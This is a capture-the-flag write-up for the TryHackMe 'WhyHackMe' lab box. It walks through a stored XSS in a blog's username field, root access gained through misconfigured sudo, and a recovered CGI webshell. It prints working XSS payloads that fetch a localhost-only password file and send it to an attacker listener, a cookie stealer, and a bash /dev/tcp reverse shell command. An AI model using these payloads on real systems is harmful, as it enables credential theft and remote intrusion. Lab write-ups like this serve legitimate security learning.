DEV Community

Cover image for TryHackMe : WhyHackMe writeup
Yogeshwar Peela
Yogeshwar Peela

Posted on • Originally published at exploitnotes.hashnode.dev

TryHackMe : WhyHackMe writeup

Summary

WhyHackMe is an medium Linux box that chains a handful of low-friction bugs into root. Anonymous FTP leaks a hint pointing at a pass.txt file that's only reachable from localhost. The blog application on port 80 stores comments (including the username field) without sanitization and replays them to an admin bot, giving a blind stored XSS primitive. That primitive is used to make the admin's browser (which can reach 127.0.0.1) fetch the localhost-only credentials file and exfiltrate it to an attacker-controlled listener, yielding SSH creds for jack. A misconfigured sudo rule lets jack run iptables as root, which is abused to drop a firewall rule blocking an unusual high port (41312) that turns out to be a TLS-wrapped Apache vhost. A packet capture left on the box for "help" contains the plaintext session from before it was firewalled off, revealing a hidden CGI backdoor (5UP3r53Cr37.py) along with its symmetric encryption key/IV. Replaying that request with a command-execution payload gives code execution as www-data, who turns out to have blanket passwordless sudo, for an instant path to root.

Attack Chain

Anonymous FTP → hint file (localhost-only secret path)
   ↓
Stored/Blind XSS in blog username field → admin bot triggers it
   ↓
XSS payload: fetch() localhost-only pass.txt → exfil via attacker HTTP listener
   ↓
Leaked creds → SSH as jack
   ↓
sudo iptables (NOPASSWD) → flush firewall rules blocking port 41312
   ↓
/opt/capture.pcap analysis (tshark) → recovers CGI backdoor path + AES key/IV
   ↓
Replay request to encrypted CGI webshell → RCE as www-data
   ↓
www-data has sudo NOPASSWD: ALL → root
Enter fullscreen mode Exit fullscreen mode

Recon

nmap -A -Pn <MACHINE_IP> -o nmap
Enter fullscreen mode Exit fullscreen mode
PORT   STATE SERVICE VERSION
21/tcp open  ftp     vsftpd 3.0.3
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
|_-rw-r--r--    1 0        0             318 Mar 14  2023 update.txt
22/tcp open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.9 (Ubuntu Linux; protocol 2.0)
80/tcp open  http    Apache httpd 2.4.41 (Ubuntu)
|_http-title: Welcome!!
Enter fullscreen mode Exit fullscreen mode

Anonymous FTP allowed, and there's a file sitting in the root, update.txt. Grabbed it:

ftp <MACHINE_IP> 21
Name (<MACHINE_IP>:kali): anonymous
Password:
230 Login successful.
ftp> get update.txt
226 Transfer complete.
ftp> ^D
Enter fullscreen mode Exit fullscreen mode
cat update.txt
Enter fullscreen mode Exit fullscreen mode
Hey I just removed the old user mike because that account was compromised and for any of you who wants the creds of new account visit 127.0.0.1/dir/pass.txt and don't worry this file is only accessible by localhost(127.0.0.1), so nobody else can view it except me or people with access to the common account.
- admin
Enter fullscreen mode Exit fullscreen mode

Key hint: a credentials file exists at /dir/pass.txt on the web server, but it's IP-restricted to 127.0.0.1. Confirmed the path exists with gobuster:

gobuster dir -u http://<MACHINE_IP> -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x php,txt,html
Enter fullscreen mode Exit fullscreen mode
index.php            (Status: 200) [Size: 563]
blog.php             (Status: 200) [Size: 3102]
login.php            (Status: 200) [Size: 523]
register.php         (Status: 200) [Size: 643]
dir                   (Status: 403) [Size: 277]
assets                (Status: 301) [Size: 313] [--> http://<MACHINE_IP>/assets/]
logout.php            (Status: 302) [Size: 0] [--> login.php]
config.php            (Status: 200) [Size: 0]
Enter fullscreen mode Exit fullscreen mode

dir returning 403 (not 404) confirms the path exists and is being blocked at the web-server level, matching the note's claim.

Web App Enumeration

The site is a minimal PHP blog. Landing page links to /blog.php:

curl http://<MACHINE_IP>/
Enter fullscreen mode Exit fullscreen mode
<h2> Welcome to my personal website. <h2>
<p> Please read my first blog at <a href="/blog.php">blog.php</a></p>
Enter fullscreen mode Exit fullscreen mode
curl http://<MACHINE_IP>/blog.php/
Enter fullscreen mode Exit fullscreen mode

Shows a blog post with an existing admin comment, and states you must be logged in to comment:

<h2>To comment you need to be logged in. To login please visit <a href='/login.php'>this</a> link.</h2><br><h2>All comments:</h2><br><h2>Name: admin<br>Comment: Hey people, I will be monitoring your comments so please be safe and civil.</h2>
Enter fullscreen mode Exit fullscreen mode

That admin comment - "I will be monitoring your comments" - strongly implies an admin bot reviews new comments, which is exactly the trigger needed for a blind XSS.

Registered a test account and logged in:

curl -X POST http://<MACHINE_IP>/register.php -d 'username=test&password=test'
Enter fullscreen mode Exit fullscreen mode
<p>Your account has been registered now you may login <a href='/login.php'>here</a></p>
Enter fullscreen mode Exit fullscreen mode
curl -c cookies.txt -X POST http://<MACHINE_IP>/login.php -d 'username=test&password=test'
Enter fullscreen mode Exit fullscreen mode
Logged in successfully.<p>You can now comment on blogs, to do so visit <a href='/blog.php'>blog.php</a></p>
Enter fullscreen mode Exit fullscreen mode

Confirmed the comment field reflects input unescaped:

curl -s -b cookies.txt -X POST http://<MACHINE_IP>/blog.php -d 'comment=<ScRiPt>alert(1)</sCriPt>'
Enter fullscreen mode Exit fullscreen mode
<h2>Name: test<br>Comment: &lt;script&gt;alert(1)&lt;/script&gt;</h2>
Enter fullscreen mode Exit fullscreen mode

Wait - that one got HTML-encoded. Tried a few bypass variants to check for a filter vs. straight encoding:

curl -s -b cookies.txt -X POST http://<MACHINE_IP>/blog.php -d 'comment=<scr<script>ipt>alert(1)</scr</script>ipt>'
curl -s -b cookies.txt -X POST http://<MACHINE_IP>/blog.php -d 'comment=<img src=x onerror=alert(1)>'
curl -s -b cookies.txt -X POST http://<MACHINE_IP>/blog.php -d 'comment=<svg onload=alert(1)>'
Enter fullscreen mode Exit fullscreen mode

All came back HTML-encoded in the comment field too - so the comment field is actually sanitized. But testing the username field on registration told a different story:

curl -s -X POST http://<MACHINE_IP>/register.php -d 'username=<script>alert(1)</script>&password=test123'
curl -s -c cookies2.txt -X POST http://<MACHINE_IP>/login.php -d 'username=<script>alert(1)</script>&password=test123'
curl -s -b cookies2.txt -X POST http://<MACHINE_IP>/blog.php -d 'comment=hello'
Enter fullscreen mode Exit fullscreen mode
<h2>Name: <script>alert(1)</script><br>Comment: hello</h2>
Enter fullscreen mode Exit fullscreen mode

The username rendered as a live, unescaped <script> tag - no encoding at all. And unlike the comment field, the username is rendered site-wide next to every comment that account posts, giving a persistent injection point that fires every time anyone (including the review bot) loads the page.

Vulnerability: Blind Stored XSS (username field) → SSRF to localhost-restricted resource

Because the admin note explicitly said pass.txt is restricted to 127.0.0.1, and the admin's review bot presumably browses the page from the box itself, the plan was:

  1. Register an account whose username is a JS payload.
  2. Log in, post any comment (to make sure the poisoned username renders on the page the bot visits).
  3. The payload runs in the bot's browser context, which - being local to the server - can reach 127.0.0.1/dir/pass.txt, bypassing the IP restriction that blocks external attackers.
  4. Exfiltrate the fetched contents to an attacker-controlled listener.

Attempt 1 - cookie stealer via document.location

curl -s -X POST http://<MACHINE_IP>/register.php -d 'username=<script>document.location="http://<ATTACKER_IP>:4444/?c="+document.cookie</script>&password=test123'
curl -s -c cookies3.txt -X POST http://<MACHINE_IP>/login.php -d 'username=<script>document.location="http://<ATTACKER_IP>:4444/?c="+document.cookie</script>&password=test123'
curl -s -b cookies3.txt -X POST http://<MACHINE_IP>/blog.php -d 'comment=hi'
Enter fullscreen mode Exit fullscreen mode

Listener never caught anything:

nc -lnvp 4444
listening on [any] 4444 ...
^C
Enter fullscreen mode Exit fullscreen mode

Attempt 2 - externally hosted <script src=...> payloads

cat > steal.js << 'EOF'
new Image().src = "http://<ATTACKER_IP>:4444/c?" + encodeURIComponent(document.cookie);
EOF

python3 -m http.server 8000
Enter fullscreen mode Exit fullscreen mode
curl -s -X POST http://<MACHINE_IP>/register.php --data-urlencode 'username=<script src=http://<ATTACKER_IP>:8000/steal.js></script>' --data-urlencode 'password=test123'
curl -s -c cookies5.txt -X POST http://<MACHINE_IP>/login.php --data-urlencode 'username=<script src=http://<ATTACKER_IP>:8000/steal.js></script>' --data-urlencode 'password=test123'
curl -s -b cookies5.txt -X POST http://<MACHINE_IP>/blog.php --data-urlencode 'comment=hi'
Enter fullscreen mode Exit fullscreen mode

This time the bot actually fetched it - confirmed in the Python HTTP server log:

<MACHINE_IP> - - [10/Aug/2026 06:11:02] "GET /steal.js HTTP/1.1" 200 -
<MACHINE_IP> - - [10/Aug/2026 06:12:02] "GET /steal.js HTTP/1.1" 200 -
<MACHINE_IP> - - [10/Aug/2026 06:13:02] "GET /steal.js HTTP/1.1" 200 -
Enter fullscreen mode Exit fullscreen mode

Confirms the bot polls the page periodically (roughly once a minute) and executes injected JS with HeadlessChrome:

nc -lnvp 8000
Enter fullscreen mode Exit fullscreen mode
listening on [any] 8000 ...
connect to [<ATTACKER_IP>] from (UNKNOWN) [<MACHINE_IP>] 39740
GET /steal.js HTTP/1.1
Host: <ATTACKER_IP>:8000
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/71.0.3542.0 Safari/537.36
Referer: http://127.0.0.1/blog.php
Enter fullscreen mode Exit fullscreen mode

The Referer: http://127.0.0.1/blog.php confirms the bot loads the page from localhost - exactly the trust boundary the whole attack depends on. But the cookie-stealer payload wasn't the right data to grab; needed to go after pass.txt directly instead.

Attempt 3 - fetch the actual target file

cat > pass.js << 'EOF'
fetch("http://127.0.0.1/dir/pass.txt")
  .then(r => r.text())
  .then(t => new Image().src = "http://<ATTACKER_IP>:8000/c?" + encodeURIComponent(t));
EOF
Enter fullscreen mode Exit fullscreen mode
curl -s -X POST http://<MACHINE_IP>/register.php --data-urlencode 'username=<script src=http://<ATTACKER_IP>:8000/pass.js></script>' --data-urlencode 'password=pass999'
curl -s -c cookies7.txt -X POST http://<MACHINE_IP>/login.php --data-urlencode 'username=<script src=http://<ATTACKER_IP>:8000/pass.js></script>' --data-urlencode 'password=pass999'
curl -s -b cookies7.txt -X POST http://<MACHINE_IP>/blog.php --data-urlencode 'comment=hi'
Enter fullscreen mode Exit fullscreen mode

The script got fetched but the exfil listener on port 8000 was busy serving the .js file itself, so the outbound Image().src request needed its own dedicated listener. Rather than juggling ports, switched to an inline payload (no external .js hosting needed) and a clean listener:

curl -s -X POST http://<MACHINE_IP>/register.php \
  --data-urlencode 'username=<script>fetch("http://127.0.0.1/dir/pass.txt").then(r=>r.text()).then(t=>fetch("http://<ATTACKER_IP>:5555?q="+t,{mode:"no-cors"}))</script>' \
  --data-urlencode 'password=pwn123'

curl -s -c cookie_new.txt -X POST http://<MACHINE_IP>/login.php \
  --data-urlencode 'username=<script>fetch("http://127.0.0.1/dir/pass.txt").then(r=>r.text()).then(t=>fetch("http://<ATTACKER_IP>:5555?q="+t,{mode:"no-cors"}))</script>' \
  --data-urlencode 'password=pwn123'

curl -s -b cookie_new.txt -X POST http://<MACHINE_IP>/blog.php --data-urlencode 'comment=hello'
Enter fullscreen mode Exit fullscreen mode
python3 -m http.server 5555
Enter fullscreen mode Exit fullscreen mode
<MACHINE_IP> - - [.../..:47:02] "GET /?q=jack:WhyIsMyPasswordSoStrongIDK HTTP/1.1" 200 -
<MACHINE_IP> - - [.../..:47:02] "GET /?q=jack%3AWhyIsMyPasswordSoStrongIDK%0A HTTP/1.1" 200 -
Enter fullscreen mode Exit fullscreen mode

URL-decoded to confirm:

python3 -c "from urllib.parse import unquote; print(unquote('jack%3AWhyIsMyPasswordSoStrongIDK%0A'))"
Enter fullscreen mode Exit fullscreen mode
jack:WhyIsMyPasswordSoStrongIDK
Enter fullscreen mode Exit fullscreen mode

Cleanup: after getting the creds, deleted all the throwaway XSS test accounts' comments with a small loop so the box wasn't left full of junk:

cat > clean_up.sh << 'EOF'
#!/bin/bash
TARGET="http://<MACHINE_IP>"
delete_comments() {
  local user="$1" pass="$2"
  local jar=$(mktemp)
  curl -s -c "$jar" -X POST "$TARGET/login.php" --data-urlencode "username=$user" --data-urlencode "password=$pass" > /dev/null
  curl -s -b "$jar" -X POST "$TARGET/blog.php" -d "delete=Delete" > /dev/null
  rm -f "$jar"
  echo "Cleaned: $user"
}
delete_comments "test" "test"
# ... one call per throwaway account used above
EOF
bash clean_up.sh
Enter fullscreen mode Exit fullscreen mode
Cleaned: test
Cleaned: <script>alert(1)</script>
Cleaned: <script>document.location="http://<ATTACKER_IP>:4444/?c=" document.cookie</script>
Cleaned: <script src=http://<ATTACKER_IP>:8000/steal.js></script>
...
Enter fullscreen mode Exit fullscreen mode
curl -s http://<MACHINE_IP>/blog.php | grep -o 'Name: [^<]*'
Enter fullscreen mode Exit fullscreen mode
Name: admin
Enter fullscreen mode Exit fullscreen mode

Board's clean, only the original admin comment remains.

Initial Access - SSH as jack

ssh jack@<MACHINE_IP>
jack@<MACHINE_IP>'s password: WhyIsMyPasswordSoStrongIDK
Enter fullscreen mode Exit fullscreen mode
Welcome to Ubuntu 20.04.5 LTS (GNU/Linux 5.4.0-159-generic x86_64)
Enter fullscreen mode Exit fullscreen mode
whoami; id
Enter fullscreen mode Exit fullscreen mode
jack
uid=1001(jack) gid=1001(jack) groups=1001(jack)
Enter fullscreen mode Exit fullscreen mode
cat user.txt
Enter fullscreen mode Exit fullscreen mode
-
Enter fullscreen mode Exit fullscreen mode

Privilege Escalation Path - jack → www-data → root

Step 1: sudo iptables abuse

sudo -l
Enter fullscreen mode Exit fullscreen mode
[sudo] password for jack:
Matching Defaults entries for jack on ubuntu:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/snap/bin
User jack may run the following commands on ubuntu:
    (ALL : ALL) /usr/sbin/iptables
Enter fullscreen mode Exit fullscreen mode

Checked current rules - an explicit DROP on a high port stood out:

sudo /usr/sbin/iptables -L -n -v --line-numbers
Enter fullscreen mode Exit fullscreen mode
Chain INPUT (policy ACCEPT 0 packets, 0 bytes)
num   pkts bytes target     prot opt in     out     source               destination
1       92  5520 DROP       tcp  --  *      *       0.0.0.0/0            0.0.0.0/0            tcp dpt:41312
2    15081 1708K ACCEPT     all  --  lo     *       0.0.0.0/0            0.0.0.0/0
3     227K   34M ACCEPT     all  --  *      *       0.0.0.0/0            0.0.0.0/0            ctstate NEW,RELATED,ESTABLISHED
4        0     0 ACCEPT     tcp  --  *      *       0.0.0.0/0            0.0.0.0/0            tcp dpt:22
5       21   840 ACCEPT     tcp  --  *      *       0.0.0.0/0            0.0.0.0/0            tcp dpt:80
6        0     0 ACCEPT     icmp --  *      *       0.0.0.0/0            0.0.0.0/0            icmptype 8
7        0     0 ACCEPT     icmp --  *      *       0.0.0.0/0            0.0.0.0/0            icmptype 0
8       63  3700 DROP       all  --  *      *       0.0.0.0/0            0.0.0.0/0

Chain OUTPUT (policy ACCEPT 15173 packets, 1713K bytes)
num   pkts bytes target     prot opt in     out     source               destination
1     232K  104M ACCEPT     all  --  *      eth0    0.0.0.0/0            0.0.0.0/0
Enter fullscreen mode Exit fullscreen mode

iptables doesn't let you exfiltrate files directly, but it does let you rewrite firewall policy. Flushed the rules and opened everything up:

sudo /usr/sbin/iptables -F
sudo /usr/sbin/iptables -P INPUT ACCEPT
sudo /usr/sbin/iptables -P OUTPUT ACCEPT
sudo /usr/sbin/iptables -P FORWARD ACCEPT
Enter fullscreen mode Exit fullscreen mode

Port 41312 was now reachable - it turned out to be a second, TLS-wrapped Apache vhost:

curl http://<MACHINE_IP>:41312/
Enter fullscreen mode Exit fullscreen mode
Reason: You're speaking plain HTTP to an SSL-enabled server port.
Enter fullscreen mode Exit fullscreen mode
curl -k https://<MACHINE_IP>:41312/
Enter fullscreen mode Exit fullscreen mode
<title>403 Forbidden</title>
<address>Apache/2.4.41 (Ubuntu) Server at <MACHINE_IP> Port 41312</address>
Enter fullscreen mode Exit fullscreen mode

Step 2: recovering the hidden webshell from a leftover pcap

A note in /opt/urgent.txt (root-owned, world-readable) described the situation:

cat /opt/urgent.txt
Enter fullscreen mode Exit fullscreen mode
Hey guys, after the hack some files have been placed in /usr/lib/cgi-bin/ and when I try to remove them, they wont, even though I am root. Please go through the pcap file in /opt and help me fix the server. And I temporarily blocked the attackers access to the backdoor by using iptables rules. The cleanup of the server is still incomplete I need to start by deleting these files first.
Enter fullscreen mode Exit fullscreen mode

/usr/lib/cgi-bin/ was root-protected:

ls -la /usr/lib/cgi-bin/
Enter fullscreen mode Exit fullscreen mode
ls: cannot open directory '/usr/lib/cgi-bin/': Permission denied
Enter fullscreen mode Exit fullscreen mode

But /opt/capture.pcap was readable. Pulled it over with a quick Python web server + wget:

# on target:
cd /opt && python3 -m http.server 8000
Enter fullscreen mode Exit fullscreen mode
# on attacker box:
wget http://<MACHINE_IP>:8000/capture.pcap
Enter fullscreen mode Exit fullscreen mode
2026-08-10 06:55:29 (334 KB/s) - 'capture.pcap' saved [27247/27247]
Enter fullscreen mode Exit fullscreen mode

Checked for the TLS private key so the captured TLS session on port 41312 could be decrypted:

find / -type f -name '*.key' 2>/dev/null
Enter fullscreen mode Exit fullscreen mode
/etc/apache2/certs/apache.key
Enter fullscreen mode Exit fullscreen mode
# on target:
cd /etc/apache2/certs/ && python3 -m http.server 8000
Enter fullscreen mode Exit fullscreen mode
# on attacker box:
wget http://<MACHINE_IP>:8000/apache.key
Enter fullscreen mode Exit fullscreen mode
2026-08-10 07:00:57 (413 MB/s) - 'apache.key' saved [3272/3272]
Enter fullscreen mode Exit fullscreen mode

Loaded the key into tshark and inspected traffic to the unusual port:

tshark -r capture.pcap -T fields -e ip.src -e ip.dst -e tcp.dstport 2>/dev/null | sort -u
Enter fullscreen mode Exit fullscreen mode
10.133.71.33    10.13.64.69     41312
10.13.64.69     10.133.71.33    39802
10.13.64.69     10.133.71.33    43316
...
Enter fullscreen mode Exit fullscreen mode
tshark -r capture.pcap -Y "tls" 2>/dev/null | head -20
Enter fullscreen mode Exit fullscreen mode
4   0.002449 10.133.71.33 → 10.13.64.69  TLSv1.2 583 Client Hello
6   0.003286  10.13.64.69 → 10.133.71.33 TLSv1.2 1650 Server Hello, Certificate, Server Hello Done
...
25   5.006106 10.133.71.33 → 10.13.64.69  HTTP 567 GET / HTTP/1.1
27   5.007024  10.13.64.69 → 10.133.71.33 HTTP 615 HTTP/1.1 403 Forbidden  (text/html)
48  22.158876 10.133.71.33 → 10.13.64.69  HTTP 583 GET /cgi-bin/5UP3r53Cr37.py HTTP/1.1
Enter fullscreen mode Exit fullscreen mode

Decrypted the HTTP layer using the recovered key:

tshark -r capture.pcap -o "tls.keys_list:<MACHINE_IP>,41312,http,apache.key" \
  -Y "http" -T fields -e http.request.uri -e http.response.code 2>/dev/null
Enter fullscreen mode Exit fullscreen mode
tshark -r capture.pcap -Y "http" -T fields \
  -e http.request.method \
  -e http.request.uri \
  -e http.request.uri.query \
  -e http.file_data
Enter fullscreen mode Exit fullscreen mode
GET     /cgi-bin/5UP3r53Cr37.py
GET     /cgi-bin/5UP3r53Cr37.py?key=48pfPHUrj4pmHzrC&iv=VZukhsCo8TlTXORN&cmd=id
GET     /cgi-bin/5UP3r53Cr37.py?key=48pfPHUrj4pmHzrC&iv=VZukhsCo8TlTXORN&cmd=ls%20-al
Enter fullscreen mode Exit fullscreen mode

Hex-decoding the http.file_data for the cmd=id request gives:

uid=33(www-data) gid=1003(h4ck3d) groups=1003(h4ck3d)
Enter fullscreen mode Exit fullscreen mode

This reveals a CGI backdoor at /cgi-bin/5UP3r53Cr37.py that takes cmd= plus a static key/iv pair for its symmetric-encryption scheme.

Step 3: RCE via the recovered webshell

With the port now open (iptables flush) and the key/IV in hand, the backdoor was directly usable:

curl -sk "https://<MACHINE_IP>:41312/cgi-bin/5UP3r53Cr37.py?key=48pfPHUrj4pmHzrC&iv=VZukhsCo8TlTXORN&cmd=ls"
Enter fullscreen mode Exit fullscreen mode
<h2>5UP3r53Cr37.py
<h2>
Enter fullscreen mode Exit fullscreen mode
curl -sk "https://<MACHINE_IP>:41312/cgi-bin/5UP3r53Cr37.py?key=48pfPHUrj4pmHzrC&iv=VZukhsCo8TlTXORN&cmd=id"
Enter fullscreen mode Exit fullscreen mode
<h2>uid=33(www-data) gid=1003(h4ck3d) groups=1003(h4ck3d)
<h2>
Enter fullscreen mode Exit fullscreen mode

Confirmed and escalated to a full reverse shell via the same parameters:

curl -sk "https://<MACHINE_IP>:41312/cgi-bin/5UP3r53Cr37.py?key=48pfPHUrj4pmHzrC&iv=VZukhsCo8TlTXORN&" \
  --data-urlencode "cmd=bash -c 'bash -i >& /dev/tcp/<ATTACKER_IP>/4443 0>&1'"
Enter fullscreen mode Exit fullscreen mode

Caught with penelope on the attacker box, auto-upgraded to a PTY:

penelope -p 4443 listen
Enter fullscreen mode Exit fullscreen mode
[+] Listening for reverse shells on 0.0.0.0:4443
[+] [New Reverse Shell] => ubuntu <MACHINE_IP> Linux-x86_64 www-data(33) Session ID <1>
[+] Upgrading shell to PTY...
[+] PTY upgrade successful via /usr/bin/python3
Enter fullscreen mode Exit fullscreen mode
whoami; id; groups
Enter fullscreen mode Exit fullscreen mode
www-data
uid=33(www-data) gid=1003(h4ck3d) groups=1003(h4ck3d)
h4ck3d
Enter fullscreen mode Exit fullscreen mode

Step 4: trivial root via NOPASSWD sudo

sudo -l
Enter fullscreen mode Exit fullscreen mode
Matching Defaults entries for www-data on ubuntu:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/snap/bin
User www-data may run the following commands on ubuntu:
    (ALL : ALL) NOPASSWD: ALL
Enter fullscreen mode Exit fullscreen mode
sudo su
Enter fullscreen mode Exit fullscreen mode
whoami
Enter fullscreen mode Exit fullscreen mode
root
Enter fullscreen mode Exit fullscreen mode
cd /root && ls
Enter fullscreen mode Exit fullscreen mode
bot.py  root.txt  snap  ssh.sh
Enter fullscreen mode Exit fullscreen mode
cat root.txt
Enter fullscreen mode Exit fullscreen mode
-
Enter fullscreen mode Exit fullscreen mode

Key Vulnerabilities

# Vulnerability Location Impact
1 Anonymous FTP with informational hint file vsftpd (port 21) Discloses existence/path of a "protected" secrets file
2 Unsanitized username field (comment field itself was actually encoded) register.php → rendered in blog.php Blind stored XSS against an internal admin review bot
3 Server-side trust boundary based on 127.0.0.1 source IP /dir/pass.txt access rule Bypassed via SSRF-style XSS - bot's browser is localhost
4 Overly broad sudo grant on iptables jack's sudoers entry Firewall policy fully attacker-controlled → port unblocking
5 Sensitive pcap + TLS private key left world/owner-readable /opt/capture.pcap, /etc/apache2/certs/apache.key Enables full decryption of prior attacker/backdoor traffic
6 Undocumented CGI backdoor with static (recoverable) key/IV /usr/lib/cgi-bin/5UP3r53Cr37.py Direct unauthenticated RCE as www-data once reachable
7 Blanket NOPASSWD: ALL sudo for www-data sudoers Instant root from a low-privilege web user

Lessons / Takeaways

  • "Localhost-only" is not a trust boundary if anything with network access can render your page for you. An XSS that executes in an admin/bot context effectively runs as that host - including its 127.0.0.1 view of the world. Treat SSRF-via-XSS as first-class when a review bot exists.
  • Test every input field independently. The comment field here was properly encoded, but the username field (rendered in the same location) was not - a filter on one field doesn't imply coverage everywhere the same data model touches output.
  • Never leave forensic artifacts (pcaps, keys) lying around during "cleanup." The /opt/capture.pcap + apache.key combo handed over the entire backdoor mechanism the admin was presumably trying to remove.
  • sudo grants for network-control binaries (iptables, tcpdump, nmap, etc.) are frequently as good as full root in situations where they can be used to expose otherwise-firewalled attack surface.

Top comments (0)